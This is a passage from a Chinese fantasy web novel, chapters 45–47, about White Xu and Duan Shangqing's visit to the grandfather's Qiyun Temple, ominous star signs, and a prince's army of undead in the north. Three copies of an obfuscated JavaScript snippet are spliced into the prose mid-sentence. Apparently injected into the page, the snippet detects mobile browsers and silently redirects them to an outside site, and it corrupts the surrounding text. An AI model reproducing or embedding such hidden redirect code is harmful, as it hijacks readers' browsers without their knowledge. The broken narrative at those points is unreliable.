“不一定,但他对翎徕的执念很深,不知是何种情愫,大抵是多过友人的。”段尚清叹了口气,“我说不清,花道长总是让我捉摸不透,不过他是个好人,我们可以相信他。” “当然,他可是我爷爷的徒弟。”白栩与有荣焉地扬起下巴,但很快便黯然神伤起来,“相处了这许多日子,一朝分别,还真有些不舍。” “他不会走太久。”段尚清摸摸白栩的发顶聊以安慰,“如果他找不到,翎徕会在十八岁那年被蛊虫毒死,他没了执念,很快会回来找我们。” 生死之论在段尚清的口吻中过了一遍,仿若没那么沉重了。 白栩叹了口气:“那我们该去哪儿呢?” “我们去西北。” 白珏的声音突兀响起:“佐恭庭给我传了信,西北的叛乱差不多清算完了,我们可以去那里暂避风头。” 白栩试探着问花千续:“道长,你和我们一起走么?” “不了。” 果不其然,花千续拒绝了同行:“我和翎徕往西边走走,找找他的族人。” 说罢,他抬头看了眼敖北山顶,眼睛被日光直射,却是一眨不眨,乌黑的瞳孔仿若吸走了所有的光,黑洞洞的,深不见底。 翎徕什么都没说,背起竹篓,跟在花千续身后。 “各位,后会有期。”花千续冲众人抱拳,他的目光直视向白栩。 不知为何,白栩觉得这目光是花千续看向自己时最温柔的一次,温柔到有些哀其不幸的恻隐之心混杂在其中。 白栩没看懂,以为他要嘱咐些什么,花千续却转头就走,什么话也没留下。 白栩的道别哽噎在喉中。 45. 栖云道观 数日车马兼程,到达西北境,众人已是疲惫不堪。 佐恭庭等候数日,见人来了,亲自出门迎接,备了一大桌子的好酒好菜,为他们接风洗尘。 姚靖自打见了佐恭庭,就拉着个脸,老大不乐意。 讲实在的,谁和情敌见面不是分外眼红? 佐恭庭自然知道姚靖的小心思,不过他自认为白珏不会对小好几岁的弟弟有别样的心思,没多加防范,仍是将他四人的房间安排在同一个院子里。 主人家这般体面,姚靖不好再闹什么脾气,平日里佐恭庭有什么事,他也跟着去帮忙。 四人这一趟前来,一来是借助佐家在西北境的威名避开司天监的追捕,二来是想和佐恭庭商量一下,如何借太子之势扳倒祁王及其背后的势力。 花千续只留下一句“让莫家人在朝堂中斡旋”,便带着翎徕远去西域。佐恭庭对朝堂之事不甚了解,不过出走江湖这些年,有关太子与祁王的明争暗斗,他还是有所听闻的,于是众人相约聚于屋外庭院详谈。 “太子虽位于嫡长子,但武略不及祁王,世人都说,祁王若登基,便是马上天子,征讨四方,太子即位,则是守成之君,听贤纳谏。天下才太平没几年,老百姓都不想打仗。”佐恭庭吹干净茶杯内堆积的细小沙粒,倒了满杯凉茶,一饮而尽,“我只是担心,若真的斗起来,太子恐不敌祁王。” 白栩驳道:“难不成皇帝不心向太子,反而偏袒祁王?皇后一族的势力也在朝内扎根,太子并非单打独斗,与祁王对抗,不应落了下风。” 佐恭庭却道:“白公子,你有所不知,当今皇帝在当年并非太子,而是被派到偏远之处当监军的王爷,他能靠着宫变得来皇位,一来是因为自身武艺高强,二来,则是当年的大将军力挺他夺位。他自己就是抢来的皇位,若他忌惮外戚干政,真想废长立幼推举祁王即位,太子可就危险了。” 白栩觉得在理,再一思量,又觉得哪里不对,他道:“若皇帝当年是造反得来的皇位,他应该更防备祁王才是,否则先皇的前车之鉴,又要在他身上应验了。” 段尚清反应过来,连声赞同:“阿栩说得在理。” 白珏经年走南闯北,知道的更多些,她道:“祁王与当年的皇帝唯一的差别,便是手里没握着军权,如今军权尽数收归皇帝所有,祁王只做一监军,根本调动不了北境的将士。” 按理来说,皇帝应该防着祁王于北境招兵买马,可佐恭庭却隐约觉得祁王如今势力之大,绝非众人所猜的那这般没有实权。 毕竟,他是唯一一个和祁王斗过的人,西北诸多玄门叛乱之时,北境的斥候偷偷来打探过,被佐恭庭抓了个正着,若非念在玄门之人不可草菅人命的训诫,不会轻易放那斥候回去。 不过在放走之前,他套出了许多消息,诸如祁王在军中并非失权,反而是得到了诸多将士的信服,其调兵遣将、排兵布阵之能,世之少有,北境异族听其大名,无不丢盔弃甲,落荒而逃。 除去夸大与溢美之词,还是能看出祁王并非善茬,不是个好扳倒的角色,何况他身后还有司天监助阵,难上加难。 佐恭庭虽心有疑虑,却并未多说,朝廷局势波谲云诡,绝非三言两语便能论出个结果,故而未加辩驳,默认了白珏的想法。 聊到此时,天色已晚,众人散去,各回房间。 夜间,白栩屡次三番地梦见花千续临行前看向自己的眼神,其中的怜悯之色实在令他不解。 花千续是看见了自己的未来,才露出那般神色么? 还是别有隐情? 翻来覆去地胡思乱想,又是一个失眠夜。 次日天将明,白栩早早地下了床,段尚清在院里练剑,见白栩出来了,立马收剑入鞘,走近前来,一见他脸色苍白,眼下乌黑,当即蹙起眉头:“又没睡好?” 白栩疲惫地揉揉额角:“昨夜不知为何,忽地想起花道长临行前看向我的眼神,总觉得别有深意,又无从理解,神思混乱,搅得我一夜未眠。” 段尚清也记得花千续那个眼神,他道:“花道长看向的不只是你,还有我。” 白栩一怔:“即是对着你我,那你说,他那怜悯之色是为何意?” 段尚清也无从知晓,只得摇头,他看向远方山外,忽地想起,栖云观就在西北境附近,既然花千续从白栩爷爷那处学来的道法,他那眼神的意思,白青山应能作答。 “阿栩,不如我们去找你爷爷,你觉得如何?” “去栖云观?”白栩顺着他的视线看向远山,“爷爷未必想见我……” 听出他语气中的委屈和遗憾,段尚清抬手揉揉白栩的头,柔声哄道:“不去拜访山门,又如何得知会被拒之门外?我陪你去。” 白栩点头应下,两人吃过早饭,便往山里行进。 西北的山林多是云杉与白桦,高矮错落的笔直树干扎根于山地之上,株距近,郁闭高,天光云影皆不见。 两人穿梭在密林中,循着难走的山路,费了好些时辰,终于到了山门前。 高大的石门耸立在山林间,其上“栖云观”三字虽已斑驳,但笔力遒劲,气势恢宏,应是出自白青山的亲笔。 山门内,铺陈着大小不一的青石板,板子一半陷在土里,多有破损,想来是经年累月遭人践踏,人数还不少。 白栩迈进山门,胸腔忽地一震颤,他疑惑地摸摸心口,看向段尚清,见他与自己举动相同,便问:“你也感觉到了?” “是。”段尚清深吸一口气,试图压下心慌,“总觉得有什么要破体而出,心跳得太乱。” “难道是爷爷设下的阵法?”白栩环顾四周,参天的林木遮天蔽日,若藏有阵法,的确难以发觉,“他要防着谁?” 段尚清已被胸腔的胀痛顶到说不出话,只能摇摇头作答。 “为何你比我难受许多?”白栩忙扶他靠在树干上缓气,“除了心慌胸胀,还有哪里难受?” 段尚清点点自己的太阳穴:“这里疼……” 白栩心疼得紧:“我们下山去吧,我扶着你走。” 段尚清否决:“废了许多力气才来到这里,此时下山去,不是前功尽弃?” “那你在此处歇息,我自己去找爷爷。” “不可。”段尚清拒绝得更干脆,“山路崎岖,难保没有有野兽出没,你没有武器傍身,若有意外,恐遭不测。” 白栩只好蹲在段尚清身前,帮他拍背顺气:“那你找些办法,让自己舒服些,若一直这么难受,没见到爷爷,你先昏死过去了。” “我试着运气,你守着我。”段尚清拆下腰间佩剑递给白栩,“剑给你,有异物靠近,拿它逼走便好。” “嗯,你放心。”白栩如接重任。 段尚清调整姿势,盘腿坐下,含胸拔背,垂帘闭目,逐渐入净。 他先行小周天,自丹田起,经尾闾、夹脊、玉枕、百会、印堂、膻中,再回丹田,打通任督二脉后,即行大周天,内气沿十二正经与奇经八脉循行全身,直至疏通经络瘀堵与气血运行,才长舒一口气,定下心神。 睁开眼,白栩正一脸担忧地看着他:“可还好?” 段尚清的面色已恢复许多,倾身在白栩颈间蹭了蹭:“好多了。我们接着走吧。” 白栩站起身,伸出胳膊给段尚清借力,两人再次循着石板路往观内走,不多时,一座道观现于丛林掩映之间。 此处便是栖云观,因地处荒偏之地,没什么香火,只有一排老房子稀疏地立着,几个道童穿着旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365499|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道袍,正在扫院子里的落叶。 小道童见二人来了,并未如白栩所料一般露出讶异的神色,反倒了然地笑道:“二位终于来了,师父已等候多时,请随我来吧。” 白栩与段尚清相视一眼,跟着小道童进了一间陈旧的屋子,才推开门,便闻到袅袅茶香,一位白须白发的老者侧对着门,正为身前的两只空茶杯斟茶。 “就知道你们要找来,坐下吧。”白青山没看向他们,反而自己端起茶杯浅酌一口,“还算有良心,知道来看我,比你爹那个不肖子好多了。” 白栩不知回什么好,牵着段尚清坐在蒲团上,拘谨地唤了一声:“爷爷。” “嗯。”白青山并不如白栩想的那般严肃,反而慈眉善目,挺立的眉宇间,依稀能看出年轻时是何等威严,他抬眼看过来,“你姐姐常来看我,倒是你,快二十年了,才来头一回。” “姐姐常来,为何不认识花道长?” 白青山想起孙女那神龙见首不见尾的架势,不禁失笑:“你姐姐总是夜里来,晨时走,连顿饭都来不及吃,她来时,花千续早就睡下了,她走时,花千续还没醒,就这么阴差阳错了好几年,终于是在衡阳见上面了。” “原来如此……”白栩轻舒一口气,问出心中疑虑,“爷爷,我们与花道长在敖北山分别时,他看向我和尚清的眼神很奇怪,既是怜悯又是无可奈何,我捉摸不透,您能告诉我为什么吗?” 白青山不急着回答,他那双即使年逾古稀依旧锐利的眸子在白栩和段尚清身上扫视了几番,而后流露出了同花千续一般的神色,只是情绪淡了许多。 “知天命而不能言,给他憋的。” 白青山就撂下这么一句,给白栩和段尚清弄得一头雾水。 “您是说,我与阿栩以后会经历不测?”段尚清试探着问。 “不可说。”白青山边点着头,边讳莫如深,“天机不可泄露,说出来了,要遭天谴。” “爷爷您怎么也爱打机锋?”白栩不满地撅起嘴,白青山见了,拈须大笑道,“又没说不帮你们,段家小子,来的路上可是胸胀气短、脚步虚浮,心慌且眼迷?” “正是。”段尚清坐直了身子,静候下言。 “果然,你们两个都进了绛鹊山,可是掉到鬼门关里,被一只白虎引路上山了?” “正是!”白栩和段尚清异口同声,白栩不禁称奇,“爷爷您怎么什么都知道?” 白青山扬起白眉:“我当然什么都知道,那只白虎是我当年养在绛鹊山守着封山阵的野兽,可惜白虎寿命不长,许多年前便死了,它的魂被我拘下来,养成了灵兽。它带着你们走出黄泉之时,将自己的魂分成两半,一人一半护着你们,不然在佐家那回——”他的视线忽地钉在白栩身上,“你早就被活埋致死了。” 白栩不禁打了个寒颤。 “这小老虎也算忠诚,不过他的使命还没完。”白青山说罢,两指并拢,点在段尚清的印堂上,轻轻往外一扯,只见一道荧蓝色的灵光从段尚清体内徐徐探出,聚拢成一半的兽形。 白青山再一指白栩,灵光倏地钻进白栩的体内。 “白虎离我越近,越想破出你体外来看我,你强行用灵气压制,自然不好受,小栩是我的孙子,身上有我的血脉,白虎觉得熟悉,没多做反抗,自然没你那般难受。” 白青山伸手拍拍段尚清的肩膀:“你和小栩的事,我没什么意见,你只需冲我发誓,不管小栩出什么事,你一定要护住他,不管他走丢到哪里,你都要把他找回来。” 白栩才听到前半句,脸色便轰地涨红,他磕磕巴巴道:“爷爷你怎么这个都知道!” 段尚清却听进去了后言,郑重其事地对着白青山磕了三个响头:“长明谨记于心。” 46. 乌云压境 因他二人来得晚,聊了这许久,天色已至傍晚,白青山留他们在观里吃了晚饭。 栖云观并没有吃素的讲究,却因香火短缺,饭菜里没有一点油星。 白栩苦着脸,味同嚼蜡,段尚清在他耳边耳语,说下了山带他去街巷里买些其他吃食,才把这只小苦瓜哄好。 饭后,白青山要去观星。 白栩以为是专门建的观星台,实则仅是一较高的山头,视野开阔,便于用作观星。 栖云观外,寒嶂孤峰。 夜穹如墨,星子皆敛,唯见荧惑赤芒坠于心宿,凝而不散。 北天太一星本居正中,此刻却偏斜向北境方向,星色暗沉。 白栩从老爹那里学了些天象,知晓荧惑主兵戈、灾祸、病疫、刑罚,此时荧惑于心宿附近留滞,为荧惑守心,乃极凶之兆,天有此象,寓意帝王灾变、王朝倾覆。 太一星明吉暗凶,此时星色晦暗,与荧惑守心相应。 白青山望着天,一言不发。 许久,他才长叹一声,低喃了句:“到底是命。” 白栩走近一步:“爷爷,您看出什么了?” 白青山只摇头,他的目光落在白栩身上,其中的怜悯之色愈发浓郁,白栩一头雾水:“您想说什么?” 白青山依旧不语,自怀中拿出一道黄符,凭空写下咒语,折起后,塞在白栩的心口处。 “这张符你留好。天色不早了,你们下山去吧。” 发了逐客令,二人也不好再多问,揣着满肚子的疑惑下了山。 临近街道,段尚清问他还想吃东西么,白栩肚子饿得咕咕响,思索半晌,点了点头。 要是照以前,心里揣着事,他能愁到茶饭不思、寝食难安。 如今经历风风雨雨,反倒练出了一颗稳健的心。 白栩曾听人说,世上有两种人,一种是泰山崩于前而不改其色,另一种是凡遇事,皆色变如泰山崩于前。 他曾为后者,如今却向前者迈步了,也算是一件好事。 其实他能有这般心态,还有灵一个缘由。 爷爷所有的怜悯都指向自己,嘱咐尚清的也是找到自己,若以后出现意外,多半自己受到戕害,与其他人无关。 他想,只要不伤害到自己身边的人,自己如何,便悉听天命罢。 吃了色香味美的菜,白栩腹腔温饱,神经逐渐放松,和段尚清道了夜安,他转身回了自己的房内。 西北的夜里总会刮点小风,白栩听着风声,渐渐入睡。 一恍惚,好似坠入了一片金碧辉煌之地,他看见了爹娘的脸,还有一众不认识的人,他们围在一起,面色凝重地商量着什么,其中一人衣着华贵,状若言辞慷慨,愤懑不平。 梦境中的声音皆听不清晰,隐隐约约的,能听见“先发制人”、“废司天监,复先皇规”几句模糊的短语。 画面一转,已是高台楼阁,天色奇诡,一白发老人立于帝王前,指着星象,低语不止,白栩欲凑近去听,那白发人忽地抬首,直盯向白栩。 此人须发尽白,面容却是极年轻的。 白栩呼吸一滞,童颜鹤发,天下唯有虞惑一人。 自己明明在梦里,竟与远在京城之人对视,白栩本以为虞惑只是凑巧看向自己这边,他尝试换个方位,虞惑的眼睛却紧盯着他不放。 皇帝收敛衣袖,起身离开,虞惑紧随其后,他走了,盯着白栩的东西却没消失,只是没了虞惑的身体承托,剩下的,是一团灰暗的,隐约能看出是个人形的东西。 “你是谁?”白栩在梦里问他。 那东西毫无作为,只盯着看,没由来的,白栩觉得这东西在笑。 一种寻觅到极渴望之物,恨不得立刻得到以致于丧心病狂、歇斯底里的大笑。 白栩猛地惊醒,浑身冷汗。 心口忽地一阵灼热,他探手过去,是爷爷先前给的黄符,此时已成一把纸灰。 他心绪不宁,总觉得这梦不简单。 天色尚昏,他思索再三,还是敲响了段尚清的房门。 段尚清开门见是他,立刻把他拉进屋内,让他坐在榻上。 掌上灯,段尚清问:“做噩梦了,还是一夜没睡?” 白栩擦掉额头上的冷汗:“做噩梦了,你坐我身边,听我细细说。” 段尚清坐下,听白栩说完,眉头已皱得极深:“这梦不像是胡乱成像,反倒像是预知梦……不,像是你的魂魄飘到那里的亲眼所见。” 白栩打了个冷颤。 其实对于段尚清的推论,他心中已有同等的猜测,只是被说出,依旧不免惊恐。 “对了,我醒了后,爷爷给我的符也烧光了。” 白栩摊开手,他一直攥着那把香灰。 段尚清下榻找了条手帕,沾了水,替白栩擦干净。 他闷声半晌,忽地道:“阿栩,我有两个猜测,一是你的魂被其他东西勾走了,黄符护住了你,二是,你的魂就是被这张符送到虞惑身边的,就是为了让寄生在虞惑身上的那东西看见你,或者说,找到你。” “你想说我爷爷害我?”白栩心一沉,“我又不是抱养来的,是他亲儿子的骨肉,他为何要害我?” “我不知,我也不愿相信。你可还记得,你爷爷把绛鹊山那只灵虎的魂魄从我身上抽出,全放到了你的身体里,灵虎魂魄完整,连牛头马面都能吼杀,若你真出什么事,它兴许能护住你。”段尚清垂下眉眼,攥住白栩的手,“阿栩,不如我们逃吧,逃到一个没人认识我们的地方……” 白栩一把捧住段尚清的脸,盯着他的眼睛,郑重道:“我们连最西边都逃过去了,还是被司天监找到,尚清,他们摆明了要杀我,若我死了,你拼尽全力也要给我报仇。” 段尚清先是一愣,而后两行清泪止不住地流下。 他从前便觉得白栩与常人不同,一般的富家子弟,因人生顺遂,总会贪生怕死,白栩从不这样。 在黄泉地狱里,白栩就算伤到深处,也要撑在他身上,替他挡住一切伤害,哪怕如今与自己心意相通,仍会这般狠绝地将死挂在嘴边,仿若从未替他着想过,没了心爱之人,他应该如何过活。 段尚清是个执拗的人,他明白自己喜欢上一个人,绝不可能再为谁而变心。 “你若死了,我怎么办?” 他颤抖着问出,低头将泪眼压在白栩的肩头上:“我会护好你,所以你也别轻易便丢下我,可以吗?” 白栩没出声应答,只是抬手将段尚清紧紧抱住。 爷爷的符咒,他大概已猜出用意,正如段尚清所说,是为了让虞惑身上那个东西找到自己。 自己对那个鬼东西似乎很有价值,爷爷或许是想用自己交换些什么,不过爷爷绝不是想害死自己,他看向自己的眼神是怜悯,也将灵虎的魂魄给了自己,也许……一切都是他设下的牺牲最小的权宜之计,唯有这么做,才能护住一切。 只是自己成了弃子。 白栩并不怨恨谁,若仅用自己这一条命,能换来所有人的安宁,就是死,也死是死得其所。 段尚清只哭了一小会儿,便止住眼泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365500|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他红着眼睛,搂着白栩躺在自己的榻上。 “今夜陪我睡吧。” 白栩摸摸他湿漉漉的眼皮和睫毛:“好。” 次日天未明,段尚清还在熟睡,白栩悄悄起身,离了屋内。 他要重新去栖云观找爷爷问个清楚。 至少……他得死个明白。 费了好大力气上山,却得知爷爷昨夜便离开了。 “你可知他去哪儿了?”白栩问道童。 他以为爷爷回去西边,因为花千续在那里,他设下的阵法也在那里,小道童却说了截然相反的方位:“师父去都城了。” “他去临安做什么?” 小道童摇摇头。 白栩神情恍惚地下了山,他回忆起昨夜的星象,荧惑守心、太一昏暗,帝王灾变,王朝覆灭…… 他脑中一个灵光闪现,顿时一阵深切的恶寒和恐惧直窜脊柱,他几乎控制不住要跪倒在地上,才能勉强撑住剧烈颤抖的身体。 祁王或太子,其中一个要谋反了。 心脏跳如擂鼓,他强撑着跑回府中,四处寻不见段尚清的身影,找其他人,也是寻不见,问了府兵才知道,北境祁王兵马异动,他们都朝那里去了。 白栩忙要了一匹马赶过去。 明明是晌午,越往北境奔去,天色越是晦暗。 万里乌云层层压境,狂风呼啸,雷闪轰鸣,马儿在长草荒坡上狂奔,风声将蹄声掩盖。 不知奔忙了几个时辰,还是不见他们的身影,白栩停下马,卸下马具,让马儿歇歇。 他捂着屁股坐在草地上,眼神空茫地看着马儿低头吃草。 他仔细回忆自己的梦境,爹娘在和一个锦衣华服的人商量着什么,还说了先发制人之类的话,若他说没猜错,太子要先动手。 莫家与太子是一条船的人,娘肯定不能撒手不管,爹为了玄门,也会铤而走险,拥护太子。 可祁王背靠司天监,虞惑手底下不知道养了多少妖道异士,单单一个纸人术法,就差点要了自己的命,白栩不敢想虞惑还留着什么阴邪的手段没用。 爷爷此次去临安,或许是为了爹娘的命。 那自己就是他用以谈判的筹码。 到底是谁这么需要自己? 白栩想不出自己身上有什么东西是值得被人惦记的,要说钱,那都是爹娘的,要说色相,除了段尚清应该没人那么想要,他最拿得出手的就是脑袋里的诗和手里的字,可这又不是自己独有,那黑影看起来也不是爱吟诗作赋之鬼。 那还能图个什么? 还没等他想明白,马儿突然一阵嘶鸣。 白栩茫然地抬起头,马儿喘着粗气,用脑袋使劲地拱他。 他不明所以,拿起马具正要给它安上,它不等白栩扣完,直接用脖子顶着白栩要把他弄到背上去。 白栩只好上了马,马儿立马撒蹄子带着他朝东南狂奔。 “错了!错了!我们要往北走!”白栩没安上缰绳,只能拍着马脖子,试图让他听懂,马显然是听到白栩的喊声,却全然不理,反而加快了速度。 马没受惊,那便是在逃命。 白栩迎着风撑起身,朝后看去。 昏暗的大地上,草莽间黑影攒动,一阵狂风吹过,风吹草低,无数身着黑甲的士兵露出身形,他们低着头,拖着沉重的步伐,手里拿着铜质的兵器,正往北境进军。 尽管离着这么远,白栩还是看清了,这些全都不是人。 皮肤乌黑,眼神空洞,这东西他见过。 是尸鬼。 47. 午夜鬼影 北境军驻扎在一片空旷的草莽上,天地一色的昏沉间,身披甲胄的将士排兵布阵、列队齐严,仿若一张豁开的巨口中,长了数排黑色的牙齿。 虞子煊立于军阵中,同祁王站在一处。 他们身后,数名妖道掐诀念咒,呼天喊地,应声之处,尸鬼扭曲着前进,与军阵会合。 “祁王,少主,阴兵阵已布下,只要临安稍有异动,我等可即刻发兵入京。” 虞子煊听罢,摆摆手叫那人退下。 他脸上噙着势在必得的笑,心中志得意满,扬声道:“我的尸鬼们可不好喂饱,祁王,先前与我约定好的,莫要食言了。” 祁王沉着脸,未执一言。 他与虞子煊约定,战场上死去的将士,都要喂给尸鬼。 按照北境军的规定,战场上的尸体要竭尽全力带回营中,裹尸安葬,他靠着这则军令,在北境树立了崇高的威信。 可如今却要亲手打破…… 见祁王不语,虞子煊面上露出不满,他稍低下头,直勾勾地盯着祁王。 他生了双令人生恶的眼睛,狭长的单眼皮下,窄小的瞳仁孤零零地悬在偌大的眼白里。 他被义父捡回去前,大家都说他生了双鬼眼,迟早被恶鬼挖走。 义父却告诉他,他生了双将军眼,能恐吓一切人鬼精怪。 他想起义父给自己的忠告,祁王此人心慈而断弱,智足而胆亏,如今一看,义父高见,果不其然。 “祁王殿下,成大事者,莫要动恻隐之心。” 虞子煊的声音阴森森地沉着,这番话里,半是忠告,半是警告。 “本王不会毁约,少监主尽可放心。”祁王负手而立,面不改色,指甲却掐进掌心,直扣进肉里。 他错开话锋:“佐家在西北建有别府,佐家少公子刚清剿完叛乱的玄门,正养精蓄锐,你如何保证,他不会来干扰我们?” 虞子煊仰天大笑:“祁王殿下,我早已布下阴兵拦路,他们想杀过来,难如登天,说不定这会儿,早就被啃得骨头渣都不剩了。” 此话绝非危言耸听,百里外,佐恭庭领白珏、段尚清、姚靖三人,带府兵百人,骑马赶到了尸鬼的出现地。 尸鬼浑身皮肉干瘪,韧性十足,寻常刀斧加身,毫无损伤,唯有调动灵力,将其四肢削断,肢体劈开,才能限制其行动,否则以其无知无觉只顾往前冲的特性,就算腿断了一条,蹦着向前也要杀人。 他们杀得极其艰难,尤其是段尚清,他的道罡八咒在此处毫无用武之地,因为身在草莽间,头顶青天,脚踩旷野,上乾下坤,是为天地丕卦,意为天地不交,万物不通,不论是雷还是风,他全都引不来,只能操剑劈砍,落得浑身都是伤。 白珏倒是会用定山诀,只是她的功力比起白青山那将敖北山一斩两半的奇功,差了不止一星半点,拼尽全力,只能将大地撕出一条千丈长、百丈深的沟壑,佐恭庭与姚靖配合,将尸鬼纷纷赶入沟壑内。 白珏御剑立于空中,周身灵气翻涌,她双臂伸直,像在用力合拢什么,脖颈处青筋暴起,面色也因发力而涨红,她竭尽全力将十指紧扣一起,霎时,大地沟壑闭合,无数尸鬼被大地咀嚼,缝隙中挤出黑色的血浆。 几番血战,终于要将拦路的尸鬼杀完,段尚清已然力竭,他拖着染血的衣裳,向佐恭庭请示:“我要回府看看阿栩有没有回来,最迟夜里就能赶回,你们接着向北境杀。” 佐恭庭知晓他和白栩关系不一般,便同意了。 毕竟今天早上这家伙因为白栩失踪哭得形象全无,他只得把这家伙抓来杀尸鬼用以止泪。 段尚清回了府中,询问府兵,才知白栩先前回来了,听说他们走了,又骑马去追。 他心一沉,回来的一路上,可完全没有白栩的身影。 若是迷路,马儿自会带着他回到府中,若是往其他方位走远…… 段尚清不敢多想,他调动灵识,试图探寻到白栩的位置。 可方圆百里之内,全无白栩的踪迹。 段尚清立刻御剑向山上飞去,他要去栖云观,向白青山问个清楚,那个符咒和白栩的失踪,白青山一定知道些什么。 到了栖云观,门前正候着位小道童,似乎早已预料他会来。 他不愿多说,开门见山便问:“你师父在哪?” 道童停下扫落叶的扫把,声音无喜无悲:“师父昨夜预感时日无多,已往西北境去,往后不会再回栖云观。” “白栩可曾来过这里?” “来过,师父嘱咐我,要对白公子说他已往临安城去。” 段尚清面色骤然扭曲,他一把抓住道童的手臂,目光阴鸷地质问:“为什么?为什么要把白栩暴露在虞惑的视线里?到底是谁盯上了他?白青山到底想做什么?” 小道童并未答疑解惑,他拂开段尚清的手,转身接着去扫落叶。 段尚清愣愣地站在原地,恐惧与愤懑一同折磨着他的理智。 “段公子,你和白公子可是从双生阵法中逃出来?” 小道童将落叶扫进铁篓,不知是施舍的怜悯,还是有意点拨:“师父就算要害白公子,也绝不会将你拉下水,上三家同气连枝,他不会伤了白段二家的和气。” 闹了一通脾气的段尚清这才想起来,自己和白栩的命已绑在了一起,他低头,冲小道士行了一礼:“方才多有冒犯,还请道友见谅。” 小道士并未生气,他放下扫帚,再次走回段尚清身前:“无妨。师父与我说过,白公子吉人自有天相,这辈子会寿终正寝,与你同年同月同日同时一同死。” 段尚清似乎明白了白青山的用意:“所以他才敢让你告诉白栩,他已去了临安城,就是为了让白栩去临安自投罗网?” “不错。” “到底是谁觊觎白栩?” 小道童叹了一口气:“是申屠鸿。” 白青山能不出门知天下事,猜出藏在虞惑身后作乱的东西是申屠鸿,而亲自历经劫难的白栩,也猜了出来,那日盯着自己的东西是谁。 他想起花千续的猜测,如今两相对应,总算是把这条藏在阴沟里的泥鳅给揪了出来。 可白栩还是想不明白,申屠鸿到底图自己什么。 他回想自己与申屠鸿相关的所有记忆,初次见面是在镇邪庙下的祭坛上,他的身体已经化为白骨,而后他的魂魄跟着虞惑一同从双生阵中逃出…… 那他现在最想要的,是……一具身体? 天底下那么多人,自己对申屠鸿来说,又有什么特别的呢? 除非……是自己的血脉。 虞惑现在最想要的,是长生仙蛊虫,毕竟他身体里有娘胎里带出来的蛊毒,没有长生仙,他活不长。 所以,他们想借自己身上属于爷爷的血脉,穿过敖北山的结界,找到另一支出逃的络玥族人。 一切都串联上了,白栩长舒一口气,爷爷肯定是算到了这一步,才放心大胆地让自己去临安试探。 心中有了底气,他快马加鞭,径直朝临安城奔去。 城中繁华依旧,上次来到这里,已是十余年前。 白栩随意找了家客栈住下,趁着小儿替他收拾房间的功夫,他状若无意地低声感慨:“今日进城,总觉得与平日不同,心里头莫名簌簌地发凉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365501|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小二耳聪目明,脑瓜机灵,是个得了消息,总要往外抖一抖才舒服的主,他边铺褥子,边拐弯抹角地问:“客官可是有些日子没进城了?” 白栩机巧地捏造了个假身份:“好些年没回来了,做生意的,一年到头,得常在外头走动,这不,才从北境回来,可累死我了。” 小二眼珠子滴溜一转,凑身到白栩身旁,低声问:“那客官您可见着北境有没有异常?” “是有,许多驻扎的将士整军待发,许是又要打仗了。”白栩说着,颇似忧国忧民地叹了口气。 小二一抚掌,兴奋道:“这就对上了,客官,近日城里传,北境祁王意图谋反,太子已召集禁军,正欲清君侧,平叛乱呢!” 白栩立马摆出惊讶的神色:“你是说,祁王在北境整顿兵马,是要谋反?” “不错!”小二掰手指掐算,“北境拢共七万兵马,京畿禁军才不过两三万,要是打起来,得将淮南郡的驻军调过来,那儿有精锐五六万,还是国舅爷领兵,祁王要是真造反,不一定能干的过……” 市井传言多是口耳相传,这小二怎地知道这么清楚? 白栩狐疑地看着他:“你是如何得知的这般详细?” 小二不好意思地抓抓脑袋:“我也是听来往的客官说的,都是拾人牙慧、照猫画虎、依葫芦画瓢……” 白栩试探着问:“你可听闻,临安来了玄门的人?” 小二摇头:“不曾。” “那可来了道士?我途中听闻,栖云观的老道长来临安城了。” 小二使劲想了想:“客官,实在不曾听闻。” 白栩垂下眼帘,抿唇应声,摆摆手叫小二下去。 爷爷没来,爹娘也没有踪迹,不过这也算是好消息,京畿内到处是虞惑的眼线,客栈这般消息流通之地都找不到他们的消息,足以说明这些时日他们隐藏的很周到。 收拾好行囊,吃了些便饭,白栩疲惫地躺倒在榻上。 天色渐晚,他盯着窗外,直到最后一抹云霞被墨云笼罩,整座城池渐渐归于平静之中,才闭上眼。 不知尚清和姐姐他们在哪儿,又在做什么…… 该如何给他们传信呢? 白栩胡乱地思索着,逐渐遁入梦境。 夜里,风从窗棂吹进,被日照晒得薄脆的窗纸沙沙作响,白栩感觉一阵阴凉自脚边升起,紧接着,一道专注且阴毒的视线直勾勾地落在自己身上。 他迷迷糊糊地睁开眼,今夜无月,屋内暗淡,他试图坐起身掌灯,却惊恐地发觉,浑身竟然动弹不得。 鬼压床? 白栩忙将精神汇聚于一处,他还记得爹教过,若是被鬼压床了,要集中精力先动一根手指,只要能动一处,不多时浑身就能动了。 